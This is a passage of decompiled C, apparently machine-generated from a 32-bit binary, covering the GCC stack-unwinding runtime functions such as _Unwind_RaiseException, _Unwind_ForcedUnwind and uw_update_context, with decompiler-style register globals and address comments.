// branch -> 0x80a62dd
} else {
// 0x80a62b6
g97 = v1;
g95 = v47;
g99 -= 4;
base_of_encoded_value_717((int32_t)v22, (int32_t)a2);
g96 = g102;
g95 = v47;
g99 -= 20;
v27 = read_encoded_value_with_base_720((int32_t)v22, (int32_t)a2, 0);
v38 = g99 + 16;
v49 = v27;
// branch -> 0x80a62dd
}
// 0x80a62dd
v48 = v9;
g97 = (int32_t)v48 + v48->e0 + 4;
g96 = v1;
g95 = v30 == 0 ? v49 : v30;
g99 = v38 - 20;
execute_cfa_program(&v22->e0, &a2->e0, 0);
v39 = g100;
g98 = 192;
g101 = 192;
g102 = 192;
g100 = 192;
g99 = v39 + 8;
return 0;
}
// Address range: 0x80a6534 - 0x80a653d
int32_t uw_install_context_1(int32_t * a1, int32_t * a2) {
// 0x80a6534
function_80a6542();
return g96;
}
// Address range: 0x80a6542 - 0x80a6611
int32_t function_80a6542(void) {
// 0x80a6542
int32_t v1;
int32_t v2 = v1 + 0x8b1b6; // 0x80a6543
g98 = v2;
struct struct_111 * v3 = (struct struct_111 *)g95; // 0x80a6549_0
struct struct_112 * v4 = (struct struct_112 *)g97; // 0x80a654c_0
int32_t v5;
int32_t v6;
int32_t v7; // bp+425
int32_t v8; // bp+426
struct struct_111 * v9;
int32_t * v10; // 0x80a6578
int32_t * v11; // 0x80a657a
int32_t v12; // 0x80a656f
int32_t v13; // 0x80a659c
int32_t v14; // 0x80a659f
int32_t v15; // 0x80a6563
struct struct_111 * v16; // 0x80a6563_0
int32_t v17; // 0x80a6566
struct struct_112 * v18; // 0x80a6566_0
struct struct_111 * v19; // 0x80a65ad_0
if (*(int32_t *)(g97 + 16) == 0) {
// 0x80a65e6
g95 = *(int32_t *)(g97 + 72);
if (*(char *)(v1 + 0x929fe) == 4) {
// 0x80a65fb
v4->e1 = (int32_t *)(g100 - 16);
v18 = v4;
v16 = v3;
v6 = v1 + 0x929fa;
// branch -> 0x80a6563
// 0x80a6563
v15 = (int32_t)v16;
g102 = v15;
v17 = (int32_t)v18;
g101 = v17;
v12 = g98 + 0x7855;
v8 = v17;
struct struct_112 * v20 = v18;
v7 = v15;
v9 = v16;
v5 = v6;
// branch -> 0x80a6578
while (true) {
// 0x80a6578
v10 = v9->e0[v7];
v11 = v20->e0[v8];
v19 = v9;
v14 = v8;
v13 = v7;
if (v11 != NULL) {
lab_0x6a4a9c0:
// 0x80a6580
if (v10 != NULL) {
// 0x80a6584
if (v10 != v11) {
// 0x80a6588
memcpy(v10, v11, (int32_t)*(char *)v5);
v19 = v3;
v14 = g101;
v13 = g102;
// branch -> 0x80a659c
} else {
v19 = v9;
v14 = v8;
v13 = v7;
}
} else {
v19 = v9;
v14 = v8;
v13 = v7;
}
}
lab_0xcaa0230:;
int32_t v21 = v13 + 4; // 0x80a659c
g102 = v21;
int32_t v22 = v14 + 4; // 0x80a659f
g101 = v22;
int32_t v23 = v5 + 1; // 0x80a65a2
if (v23 == v12) {
// 0x80a65ad
g95 = (int32_t)v19;
int32_t v24 = v19->e1; // 0x80a65b0
g96 = v24;
if (v24 != 0) {
int32_t v25 = g100; // 0x80a65b9
g98 = v1;
g101 = v1;
g102 = v1;
g100 = v1;
g99 = v25 + 8;
return 0;
}
// 0x80a65c1
g95 = (int32_t)v4->e1;
if (*(char *)(v6 + 4) != 4) {
// 0x80a660c
g99 -= 4;
abort();
// UNREACHABLE
}
int32_t v26 = (int32_t)v4->e1 - v19->e3; // 0x80a65d5
g95 = v26;
int32_t v27 = g100; // 0x80a65de
g98 = v1;
g101 = v1;
g102 = v1;
g100 = v1;
g99 = v27 + 8;
return v4->e3 + v26;
}
// 0x80a659c
v8 = v22;
v20 = v4;
v7 = v21;
v9 = v19;
v5 = v23;
// branch -> 0x80a6578
}
}
// 0x80a660c
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a655a
v18 = v4;
v16 = v3;
v6 = v1 + 0x929fa;
// branch -> 0x80a6563
// 0x80a6563
v15 = (int32_t)v16;
g102 = v15;
v17 = (int32_t)v18;
g101 = v17;
v12 = v2 + 0x7855;
v8 = v17;
v7 = v15;
v9 = v16;
v5 = v6;
// branch -> 0x80a6578
while (true) {
// 0x80a6578
v10 = v9->e0[v7];
v11 = v18->e0[v8];
if (v11 == NULL) {
v19 = v9;
v14 = v8;
v13 = v7;
goto lab_0xcaa0230;
}
goto lab_0x6a4a9c0;
}
}
// Address range: 0x80a6614 - 0x80a6620
int32_t execute_stack_op(int32_t * a1, int32_t * a2, int32_t a3) {
// 0x80a6614
int32_t v1;
int32_t v2;
function_80a6625(v2, 0, 0, 0, v1);
return g95;
}
// Address range: 0x80a6625 - 0x80a6c71
int32_t function_80a6625(int32_t a1, int32_t result, int32_t a3, int32_t a4, int32_t a5) {
// 0x80a6625
int32_t v1;
int32_t v2 = v1 + 0x8b0d3; // 0x80a6626
g98 = v2;
int32_t v3 = g95; // 0x80a662c
g101 = v3;
g95 = result;
uint32_t v4 = g97; // 0x80a6643
if (v3 >= v4) {
// 0x80a6647
int32_t v5;
g98 = v5;
int32_t v6;
g101 = v6;
int32_t * v7;
g102 = (int32_t)v7;
int32_t v8 = g100; // 0x80a6659
g100 = v1;
g99 = v8 + 4;
return result;
}
int32_t v9 = (int32_t)*(char *)v3; // 0x80a6666
g97 = v9 | v4 & -256;
g102 = v9;
g95 = v3 + 1;
uint32_t v10 = v9 - 3; // 0x80a6674
if (v10 < 148) {
// 0x80a6684
g95 = *(int32_t *)(v1 + 0x620fb + 4 * v10) + v2;
return unknown_81316f8();
}
// 0x80a667e
abort();
// UNREACHABLE
}
// Address range: 0x80a6c74 - 0x80a6c7d
int32_t uw_update_context_1(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1;
int32_t v2;
function_80a6c82((struct struct_103 *)&v2, (struct struct_103 *)&v1);
return g96;
}
// Address range: 0x80a6c82 - 0x80a6dcf
int32_t function_80a6c82(struct struct_103 * a1, struct struct_103 * a2) {
int32_t v1;
g98 = v1 + 0x8aa76;
g102 = g95;
g101 = g97;
int32_t v2 = g100; // 0x80a6c8d
int32_t v3 = v2 - 120; // 0x80a6c8d
*(int32_t *)(v2 - 136) = v3;
int32_t * v4 = (int32_t *)g102; // 0x80a6c98_0
memcpy((int32_t *)v3, v4, 100);
int32_t v5; // 0x80a6d8b_1
int32_t v6;
int32_t v7; // 0x80a6ceb
int32_t v8;
int32_t * v9;
int32_t v10;
int32_t v11;
int32_t v12; // 0x80a6d76
int32_t v13; // 0x80a6cb4
int32_t v14;
int32_t v15; // 0x80a6cb4
uint32_t v16; // 0x80a6d7c
int32_t v17; // 0x80a6d1f
int32_t v18; // 0x80a6d354
if (v8 != 0) {
// 0x80a6cad
*(int32_t *)(g102 + 16) = 0;
v13 = g101;
v15 = *(int32_t *)(v13 + 160);
g95 = v15;
if (v15 == 1) {
// 0x80a6d7c
v16 = *(int32_t *)(v13 + 152);
g95 = v16;
if (v16 <= 17) {
// 0x80a6d8b
v5 = (int32_t)v9;
g97 = v5;
if (*(char *)(v16 + 0x7844 + g98) == 4) {
// 0x80a6d9d
v14 = v5;
v6 = *v9 + *(int32_t *)(v13 + 148);
// branch -> 0x80a6cf9
// 0x80a6cf9
*(int32_t *)(g102 + 72) = v6;
v12 = g101;
v18 = 18;
// branch -> 0x80a6d1f
while (true) {
// 0x80a6d1f
v17 = *(int32_t *)(v12 + 4);
g95 = v17;
if (v17 == 2) {
goto lab_0x6a7ed60;
}
goto lab_0x1ac6e420;
}
}
}
// 0x80a6cc8
abort();
// UNREACHABLE
}
// 0x80a6cc3
if (v15 == 2) {
// 0x80a6ccd
g95 = *(int32_t *)(v13 + 156);
g97 = g100 - 20;
a1 = (struct struct_103 *)0x80a6cdb;
read_uleb128_718((int32_t)a2);
g97 = g95 + v11;
g96 = v10;
v7 = execute_stack_op(&g2->e0, v4, 100);
v14 = (int32_t)v9;
v6 = v7;
// branch -> 0x80a6cf9
// 0x80a6cf9
*(int32_t *)(g102 + 72) = v6;
v12 = g101;
v18 = 18;
// branch -> 0x80a6d1f
while (true) {
// 0x80a6d1f
v17 = *(int32_t *)(v12 + 4);
g95 = v17;
if (v17 == 2) {
goto lab_0x6a7ed60;
}
goto lab_0x1ac6e420;
}
}
// 0x80a6cc8
abort();
// UNREACHABLE
}
// 0x80a6db6
g95 = *(int32_t *)(g102 + 72);
if (*(char *)(g98 + 0x7848) != 4) {
// 0x80a6cc8
abort();
// UNREACHABLE
}
int32_t v19 = g100; // 0x80a6dc9
*(int32_t *)(v19 - 104) = v19 - 16;
// branch -> 0x80a6cad
// 0x80a6cad
*(int32_t *)(g102 + 16) = 0;
v13 = g101;
v15 = *(int32_t *)(v13 + 160);
g95 = v15;
if (v15 == 1) {
// 0x80a6d7c
v16 = *(int32_t *)(v13 + 152);
g95 = v16;
if (v16 <= 17) {
// 0x80a6d8b
v5 = (int32_t)v9;
g97 = v5;
if (*(char *)(v16 + 0x7844 + g98) == 4) {
// 0x80a6d9d
v14 = v5;
v6 = *v9 + *(int32_t *)(v13 + 148);
// branch -> 0x80a6cf9
// 0x80a6cf9
*(int32_t *)(g102 + 72) = v6;
v12 = g101;
v18 = 18;
// branch -> 0x80a6d1f
int32_t * v20; // 0x80a6d76_41
while (true) {
// 0x80a6d1f
v17 = *(int32_t *)(v12 + 4);
g95 = v17;
if (v17 == 2) {
lab_0x6a7ed60:
// 0x80a6d27
g95 = *(int32_t *)v12;
*(int32_t *)g102 = v14;
int32_t v21 = g101 + 8; // 0x80a6d2f
g101 = v21;
g102 += 4;
int32_t v22 = v18 - 1; // 0x80a6d35
if (v22 == 0) {
v20 = v9;
// break -> 0x80a6d3a
break;
}
v12 = v21;
v18 = v22;
// continue -> 0x80a6d1f
continue;
} else {
lab_0x1ac6e420:;
// 0x80a6d0c
int32_t v23; // 0x80a6d62
if (v17 == 3) {
// 0x80a6d44
g95 = *(int32_t *)v12;
g97 = g100 - 20;
g99 -= 4;
read_uleb128_718((int32_t)a1);
g97 = g95 + v11;
g96 = v10;
g99 -= 20;
v23 = execute_stack_op(&a1->e0, &a2->e0, 0);
*(int32_t *)g102 = v23;
g99 += 16;
// branch -> 0x80a6d14
} else {
int32_t v24 = v17 - 1; // 0x80a6d11
if (v24 == 0) {
// 0x80a6d70
g95 = v6;
int32_t v25 = *(int32_t *)v12 + v6; // 0x80a6d76
*(int32_t *)g102 = v25;
v23 = v25;
// branch -> 0x80a6d14
} else {
v23 = v24;
}
}
int32_t * v26 = (int32_t *)v23; // 0x80a6d76_42
int32_t v27 = g101 + 8; // 0x80a6d14
g101 = v27;
g102 += 4;
int32_t v28 = v18 - 1; // 0x80a6d1a
if (v28 == 0) {
v20 = v26;
// break -> 0x80a6d3a
break;
}
v12 = v27;
v18 = v28;
// continue -> 0x80a6d1f
continue;
}
}
int32_t v29 = g100; // 0x80a6d3a
g98 = 100;
g101 = 100;
g102 = 100;
int32_t v30;
g100 = v30;
g99 = v29 + 8;
return (int32_t)v20;
}
}
} else {
// 0x80a6cc3
if (v15 == 2) {
// 0x80a6ccd
g95 = *(int32_t *)(v13 + 156);
g97 = g100 - 20;
a1 = (struct struct_103 *)0x80a6cdb;
read_uleb128_718((int32_t)a2);
g97 = g95 + v11;
g96 = v10;
v7 = execute_stack_op(&g2->e0, v4, 100);
v14 = (int32_t)v9;
v6 = v7;
// branch -> 0x80a6cf9
// 0x80a6cf9
*(int32_t *)(g102 + 72) = v6;
v12 = g101;
v18 = 18;
// branch -> 0x80a6d1f
while (true) {
// 0x80a6d1f
v17 = *(int32_t *)(v12 + 4);
g95 = v17;
if (v17 == 2) {
goto lab_0x6a7ed60;
}
goto lab_0x1ac6e420;
}
}
}
// 0x80a6cc8
abort();
// UNREACHABLE
}
// Address range: 0x80a6dd4 - 0x80a6de0
int32_t uw_init_context_1(int32_t * a1) {
int32_t v1;
function_80a6de5(&v1, 0);
return g95;
}
// Address range: 0x80a6de5 - 0x80a6f1b
int32_t function_80a6de5(int32_t * a1, int32_t a2) {
int32_t v1 = g95; // 0x80a6dec
int32_t result = g96; // 0x80a6df4
memset((int32_t *)v1, (int32_t)g2, 100);
*(int32_t *)(v1 + 76) = (int32_t)a1;
g97 = g100 - 208;
g95 = v1;
uw_frame_state_for(&a2, NULL);
if (g95 == 0) {
int32_t v2 = g98; // 0x80a6e24
int32_t v3 = *(int32_t *)(v2 - 84); // 0x80a6e24
g95 = v3;
int32_t v4 = v2; // 0x80a6e4f
int32_t v5;
int32_t v6; // 0x80a6efe
if (v3 != 0) {
int32_t v7 = v2 + 0x7840; // 0x80a6e38
g95 = v7;
int32_t v8 = g98; // 0x80a6f08
if (pthread_once((int32_t *)v7, (void (*)(int32_t *))(v2 - 0x8bc48)) == 0) {
// 0x80a6f08
if (*(char *)(v8 + 0x7844) != 0) {
// 0x80a6ebf
if (*(char *)(v8 + 0x7848) != 4) {
// 0x80a6f16
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a6ec8
*(int32_t *)(g102 + 16) = g100 - 16;
g97 = g101;
g95 = g102;
uw_update_context_1(a2, 0, 0);
*(int32_t *)(g102 + 76) = result;
v6 = g100;
g101 = 100;
g102 = 100;
g100 = v5;
g99 = v6 + 8;
return result;
}
v4 = v8;
} else {
v4 = v8;
}
}
// 0x80a6e4f
*(char *)(v4 + 0x7844) = 4;
*(char *)(g98 + 0x7846) = 4;
*(char *)(g98 + 0x7845) = 4;
*(char *)(g98 + 0x7847) = 4;
*(char *)(g98 + 0x784a) = 4;
*(char *)(g98 + 0x784b) = 4;
*(char *)(g98 + 0x7849) = 4;
*(char *)(g98 + 0x7848) = 4;
*(char *)(g98 + 0x784f) = 12;
*(char *)(g98 + 0x7850) = 12;
*(char *)(g98 + 0x7851) = 12;
*(char *)(g98 + 0x7852) = 12;
*(char *)(g98 + 0x7853) = 12;
*(char *)(g98 + 0x7854) = 12;
*(char *)(g98 + 0x784d) = 4;
*(char *)(g98 + 0x784c) = 4;
// branch -> 0x80a6ebf
// 0x80a6ebf
if (*(char *)(g98 + 0x7848) == 4) {
// 0x80a6ec8
*(int32_t *)(g102 + 16) = g100 - 16;
g97 = g101;
g95 = g102;
uw_update_context_1(a2, 0, 0);
*(int32_t *)(g102 + 76) = result;
v6 = g100;
g101 = 100;
g102 = 100;
g100 = v5;
g99 = v6 + 8;
return result;
}
}
// 0x80a6f16
g99 -= 4;
abort();
// UNREACHABLE
}
// Address range: 0x80a6f1c - 0x80a6f25
void uw_update_context(int32_t * a1, int32_t * a2) {
// 0x80a6f1c
int32_t v1;
function_80a6f2a(v1, 0, 0, g98, g101);
}
// Address range: 0x80a6f2a - 0x80a6f5f
int32_t function_80a6f2a(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
// 0x80a6f2a
uw_update_context_1(a1, a2, a3);
int32_t v1 = *(int32_t *)(g101 + 180); // 0x80a6f3a
g97 = v1;
if (v1 > 17) {
// 0x80a6f5f
abort();
// UNREACHABLE
}
int32_t v2 = *(int32_t *)(g102 + 4 * v1); // 0x80a6f45
g95 = v2;
if (*(char *)(v1 + 0x7844 + g98) != 4) {
// 0x80a6f5f
abort();
// UNREACHABLE
}
int32_t result = *(int32_t *)v2; // 0x80a6f52
*(int32_t *)(g102 + 76) = result;
g98 = a4;
g101 = a5;
int32_t (*v3)(int32_t, int32_t);
g102 = (int32_t)v3;
int32_t v4 = g100; // 0x80a6f5d
int32_t v5;
g100 = v5;
g99 = v4 + 4;
return result;
}
// Address range: 0x80a6f64 - 0x80a6ffb
int32_t _Unwind_Backtrace(int32_t a1, int32_t a2) {
int32_t v1;
g96 = v1;
int32_t v2;
uw_init_context_1(&v2);
int32_t (*v3)(int32_t, int32_t) = (int32_t (*)(int32_t, int32_t))a1; // 0x80a6fda_4
// branch -> 0x80a6fae
while (true) {
// 0x80a6fae
int32_t v4;
g97 = v4;
int32_t v5;
g95 = v5;
uw_frame_state_for(&v2, &v5);
int32_t v6 = g95; // 0x80a6fbf
uint32_t v7; // 0x80a6fce
if (v6 == 0) {
// 0x80a6fce
v7 = g99;
g1 = v7 < 8;
g103 = v7 == 8;
v3(v5, a2);
if (g95 == 0) {
goto lab_0x6ad5280;
}
// 0x80a6fee
return 3;
}
// 0x80a6fc9
if (v6 != 5) {
// 0x80a6fee
return 3;
}
// 0x80a6fce
v7 = g99;
g1 = v7 < 8;
g103 = v7 == 8;
v3(v5, a2);
int32_t result = 3; // 0x80a6fee1
if (g95 == 0) {
lab_0x6ad5280:
// 0x80a6f94
if (v6 != 5) {
// 0x80a6f9d
int32_t v8;
g97 = v8;
int32_t v9;
g95 = v9;
uw_update_context(&v2, &v9);
// branch -> 0x80a6fae
continue;
} else {
result = 5;
}
}
// 0x80a6fee
return result;
}
}
// Address range: 0x80a6ffc - 0x80a70dc
int32_t _Unwind_ForcedUnwind_Phase2(int32_t * a1, int32_t * a2) {
int32_t v1 = g102; // 0x80a6fff
int32_t v2 = g101; // 0x80a7000
int32_t v3 = g95; // 0x80a7007
struct struct_113 * v4 = (struct struct_113 *)v3; // 0x80a7007_0
struct struct_113 * v5 = v4; // bp-216
int32_t v6 = v4->e3; // 0x80a701e
int32_t (*v7)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = (int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))*(int32_t *)(v3 + 12); // 0x80a7059_12
int32_t v8 = g97; // 0x80a70af
// branch -> 0x80a70a9
while (true) {
// 0x80a70a9
int32_t * v9;
g97 = (int32_t)v9;
g95 = v8;
uw_frame_state_for(v9, &v4->e0);
int32_t v10 = g95; // 0x80a70b6
g101 = v10;
g1 = false;
g103 = v10 == 0;
int32_t v11 = 10;
int32_t v12; // 0x80a703d
int32_t v13; // 0x80a705f
struct struct_113 * v14; // 0x80a7045_0
int32_t v15; // 0x80a704b
if (v10 == 0) {
// 0x80a703d
g95 = v11;
v12 = g97;
v14 = v5;
v15 = (int32_t)v14;
g97 = v15;
v7(1, v11, v14->e0, v14->e1, v15, g102, v6, v12);
v13 = g99;
if (g95 == 0) {
goto lab_0x6ae9e90;
}
// 0x80a70cf
// branch -> 0x80a70d4
// 0x80a70d4
g101 = v2;
g102 = v1;
return 2;
}
// 0x80a70c0
g1 = v10 < 5;
g103 = v10 == 5;
if (v10 != 5) {
// 0x80a70cf
// branch -> 0x80a70d4
// 0x80a70d4
g101 = v2;
g102 = v1;
return 2;
}
v11 = 26;
// 0x80a703d
g95 = v11;
v12 = g97;
v14 = v5;
v15 = (int32_t)v14;
g97 = v15;
v7(1, v11, v14->e0, v14->e1, v15, g102, v6, v12);
v13 = g99;
if (g95 != 0) {
// 0x80a70cf
// branch -> 0x80a70d4
// 0x80a70d4
g101 = v2;
g102 = v1;
return 2;
}
lab_0x6ae9e90:
// 0x80a7066
if (g101 != 5) {
// 0x80a706b
int32_t v16;
g95 = v16;
if (v16 != 0) {
// 0x80a7072
g1 = v13 < 8;
g103 = v13 == 8;
int32_t v17 = (int32_t)v5; // 0x80a707c
g97 = v17;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v16)(1, 10, v5->e0, v5->e1, v17, g102);
int32_t v18 = g95; // 0x80a708d
g101 = v18;
if (v18 == 7) {
// 0x80a70d4
g101 = v2;
g102 = v1;
return 7;
}
// 0x80a7097
if (v18 != 8) {
// 0x80a70cf
// branch -> 0x80a70d4
// 0x80a70d4
g101 = v2;
g102 = v1;
return 2;
}
}
// 0x80a709c
int32_t * v19;
g97 = (int32_t)v19;
g95 = g102;
uw_update_context(v19, &v5->e0);
v4 = v5;
v8 = g102;
// branch -> 0x80a70a9
continue;
}
// 0x80a70d4
g101 = v2;
g102 = v1;
return 5;
}
}
// Address range: 0x80a70e0 - 0x80a70ee
int32_t _Unwind_ForcedUnwind(int32_t a1) {
// 0x80a70e0
int32_t v1;
int32_t v2;
int32_t v3;
function_80a70f3(v3, 0, 0, v2, v1, 0);
return g96;
}
// Address range: 0x80a70f3 - 0x80a718f
int32_t function_80a70f3(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
int32_t v1 = a1;
g96 = a1;
int32_t v2 = g100; // 0x80a70fd
int32_t v3 = v2 - 120; // 0x80a70fd
g95 = v3;
*(int32_t *)(v2 - 232) = v3;
uw_init_context_1(&v1);
int32_t v4 = g100; // 0x80a710e
int32_t v5 = v4 - 220; // 0x80a710e
*(int32_t *)(v4 - 236) = v5;
int32_t * v6;
memcpy((int32_t *)v5, v6, 100);
int32_t v7 = a2; // 0x80a712c
*(int32_t *)(v7 + 12) = a3;
*(int32_t *)(v7 + 16) = a4;
int32_t v8;
g97 = v8;
g95 = a2;
int32_t result = _Unwind_ForcedUnwind_Phase2(&v1, &a2); // 0x80a7144
if (result != 7) {
// 0x80a714e
g98 = v5;
g101 = (int32_t)v6;
g102 = 100;
int32_t v9 = g100; // 0x80a7157
int32_t v10;
g100 = v10;
g99 = v9 + 4;
return result;
}
// 0x80a7159
g97 = v8;
int32_t v11 = (int32_t)v6; // 0x80a715f
g95 = v11;
uw_install_context_1(&v1, &a2);
int32_t v12 = g95; // 0x80a716a
int32_t v13;
g95 = v13;
g97 = 0x80a7129;
g98 = v5;
g101 = v11;
g102 = 100;
int32_t v14 = v12 + 4 + g100; // 0x80a7185
g96 = v14;
int32_t v15;
g100 = v15;
g99 = v14 + 4;
int32_t result2;
return result2;
}
// Address range: 0x80a7190 - 0x80a719c
void _Unwind_RaiseException_Phase2(int32_t * a1, int32_t * a2) {
// 0x80a7190
int32_t v1;
function_80a71a1(v1);
}
// Address range: 0x80a71a1 - 0x80a7231
int32_t function_80a71a1(int32_t a1) {
struct struct_113 * v1 = (struct struct_113 *)g95; // bp-208
g102 = g97;
int32_t v2 = g100; // 0x80a71b0
*(int32_t *)(v2 - 212) = v2 - 204;
// branch -> 0x80a71f9
while (true) {
// 0x80a71f9
int32_t v3;
g97 = v3;
g95 = g102;
uw_frame_state_for(&a1, NULL);
int32_t v4 = (int32_t)v1; // 0x80a7206
g96 = v4;
int32_t v5 = v1->e3; // 0x80a720c
int32_t v6 = g102; // 0x80a720f
int32_t v7 = *(int32_t *)(v6 + 76); // 0x80a720f
g97 = (int32_t)(v7 == v5) | v5 & -256;
int32_t v8 = v7 == v5 ? 4 : 0; // 0x80a7218
g101 = v8;
int32_t v9;
int32_t v10; // 0x80a7224
if (g95 == 0) {
// 0x80a71c0
int32_t v11;
g97 = v11;
int32_t v12 = v8; // 0x80a71e8
if (v11 != 0) {
int32_t v13 = v1->e0; // 0x80a71cf
g1 = false;
int32_t v14 = v8 | 2; // 0x80a71d3
g103 = false;
g95 = v14;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v11)(1, v14, v13, v1->e1, v4, v6);
int32_t v15 = g95; // 0x80a71de
if (v15 == 7 || v15 != 8) {
// 0x80a7224
v10 = g100;
g98 = 0x80a7206;
g101 = 0x80a7206;
g102 = 0x80a7206;
g100 = v9;
g99 = v10 + 8;
return 2;
}
// 0x80a71e3
v12 = g101;
// branch -> 0x80a71e8
}
// 0x80a71e8
if (v12 != 0) {
// 0x80a722c
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a71ec
g97 = v3;
g95 = g102;
uw_update_context(&a1, NULL);
// branch -> 0x80a71f9
continue;
}
// 0x80a7224
v10 = g100;
g98 = 0x80a7206;
g101 = 0x80a7206;
g102 = 0x80a7206;
g100 = v9;
g99 = v10 + 8;
return 2;
}
}
// Address range: 0x80a7234 - 0x80a7242
int32_t _Unwind_Resume(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x80a7234
int32_t v1;
function_80a7247(v1, 0, 0);
return g96;
}
// Address range: 0x80a7247 - 0x80a72e5
int32_t function_80a7247(int32_t a1, int32_t a2, int32_t a3) {
int32_t v1 = a1;
g96 = a1;
int32_t v2 = g100; // 0x80a7251
int32_t v3 = v2 - 120; // 0x80a7251
g95 = v3;
*(int32_t *)(v2 - 236) = v3;
uw_init_context_1(&v1);
int32_t v4 = g100; // 0x80a7262
int32_t v5 = v4 - 220; // 0x80a7262
*(int32_t *)(v4 - 232) = v5;
int32_t * v6;
memcpy((int32_t *)v5, v6, 100);
int32_t v7 = a2; // 0x80a7280
g95 = v7;
int32_t v8 = *(int32_t *)(v7 + 12); // 0x80a7283
g101 = v8;
int32_t v9;
g97 = v9;
if (v8 == 0) {
// 0x80a728a
_Unwind_RaiseException_Phase2(&v1, &a2);
// branch -> 0x80a7295
} else {
// 0x80a72a0
g95 = v7;
_Unwind_ForcedUnwind_Phase2(&v1, &a2);
// branch -> 0x80a7295
}
// 0x80a7295
if (g95 != 7) {
// 0x80a729a
abort();
// UNREACHABLE
}
// 0x80a72b0
g97 = v9;
int32_t v10 = (int32_t)v6; // 0x80a72b6
g95 = v10;
uw_install_context_1(&v1, &a2);
int32_t v11 = g95; // 0x80a72c1
int32_t v12;
g95 = v12;
g97 = 0x80a727d;
g98 = v5;
g101 = v10;
g102 = 100;
int32_t v13 = v11 + 4 + g100; // 0x80a72dc
g96 = v13;
int32_t v14;
g100 = v14;
g99 = v13 + 4;
int32_t result;
return result;
}
// Address range: 0x80a72e8 - 0x80a72f6
int32_t _Unwind_RaiseException(int32_t * a1, int32_t * a2, int32_t a3, int32_t * a4) {
int32_t v1;
int32_t v2;
function_80a72fb(&v2, NULL, v1);
return g96;
}
// Address range: 0x80a72fb - 0x80a7435
int32_t function_80a72fb(int32_t * a1, struct struct_115 * a2, int32_t a3) {
struct struct_115 * v1 = NULL; // bp-432
struct struct_115 * v2 = NULL; // bp-428
g96 = (int32_t)a1;
int32_t v3 = g100; // 0x80a7305
int32_t v4 = v3 - 120; // 0x80a7305
g95 = v4;
*(int32_t *)(v3 - 432) = v4;
uw_init_context_1(a1);
int32_t v5 = g100; // 0x80a7316
int32_t v6 = v5 - 220; // 0x80a7316
*(int32_t *)(v5 - 428) = v6;
struct struct_115 * v7 = v1; // bp-8
struct struct_115 * v8 = (struct struct_115 *)v6; // 0x80a732b_0
struct struct_115 * v9 = v8; // bp-12
memcpy(&v8->e0, &v1->e0, 100);
int32_t v10 = g100; // 0x80a7334
*(int32_t *)(v10 - 424) = v10 - 412;
int32_t v11;
g97 = v11;
g95 = (int32_t)v2;
uw_frame_state_for(a1, &a2->e0);
int32_t v12 = g95; // 0x80a739b16
int32_t v13;
int32_t v14; // 0x80a73ae
if (v12 == 5) {
// 0x80a73a5
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
v14 = g100;
g100 = v13;
g99 = v14 + 4;
return (int32_t)(struct struct_115 *)5;
}
// branch -> 0x80a7344
while (true) {
// 0x80a7344
int32_t v15; // 0x80a73be
if (v12 == 0) {
// 0x80a7348
int32_t v16;
g95 = v16;
if (v16 != 0) {
uint32_t v17 = g99; // 0x80a7352
g1 = v17 < 8;
g103 = v17 == 8;
v7 = v2;
v9 = a2;
int32_t v18 = (int32_t)a2; // 0x80a735e
g97 = v18;
int32_t * v19 = a2->e1; // 0x80a7361
int32_t result = a2->e0; // 0x80a7364
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v16)(1, 1, result, (int32_t)v19, v18, (int32_t)v2);
int32_t v20 = g95; // 0x80a736f
if (v20 != 6) {
// 0x80a7374
if (v20 == 8) {
goto lab_0x6b3b320;
}
// 0x80a73b0
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
v15 = g100;
g100 = 0x80a739b;
g99 = v15 + 4;
return 3;
}
// 0x80a73c0
a2->e3 = 0;
int32_t * v21;
int32_t v22 = (int32_t)v21; // 0x80a73ca
g95 = v22;
a2->e4 = v21;
v7 = v1;
v9 = v2;
memcpy(&v2->e0, &v1->e0, 100);
g97 = (int32_t)v2;
_Unwind_RaiseException_Phase2(a1, &a2->e0);
if (a2 == (struct struct_115 *)7) {
// 0x80a7400
g97 = (int32_t)v2;
g95 = (int32_t)v1;
uw_install_context_1(a1, &a2->e0);
int32_t v23 = g95; // 0x80a7411
g95 = v22;
g97 = 0x80a73ea;
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
int32_t v24 = v23 + 4 + g100; // 0x80a742c
g96 = v24;
g100 = 0x80a7411;
g99 = v24 + 4;
return result;
}
// 0x80a73a5
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
v14 = g100;
g100 = v13;
g99 = v14 + 4;
return (int32_t)a2;
}
lab_0x6b3b320:
// 0x80a7379
g97 = v11;
g95 = (int32_t)v2;
uw_update_context(a1, &a2->e0);
g97 = v11;
g95 = (int32_t)v2;
uw_frame_state_for(a1, &a2->e0);
int32_t v25 = g95; // 0x80a739b
if (v25 == 5) {
// break -> 0x80a73a5
break;
}
v12 = v25;
// continue -> 0x80a7344
continue;
}
// 0x80a73b0
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
v15 = g100;
g100 = 0x80a739b;
g99 = v15 + 4;
return 3;
}
// 0x80a73a5
g98 = (int32_t)v9;
g101 = (int32_t)v7;
g102 = 100;
v14 = g100;
g100 = v13;
g99 = v14 + 4;
return (int32_t)(struct struct_115 *)5;
}
// Address range: 0x80a7438 - 0x80a7446
int32_t _Unwind_Resume_or_Rethrow(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1;
int32_t v2;
function_80a744b(&v2, NULL, 0, v1);
return g96;
}
// Address range: 0x80a744b - 0x80a74f3
int32_t function_80a744b(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4) {
int32_t v1 = (int32_t)a2; // 0x80a7452
if (*(int32_t *)(v1 + 12) == 0) {
// 0x80a74a8
int32_t * v2;
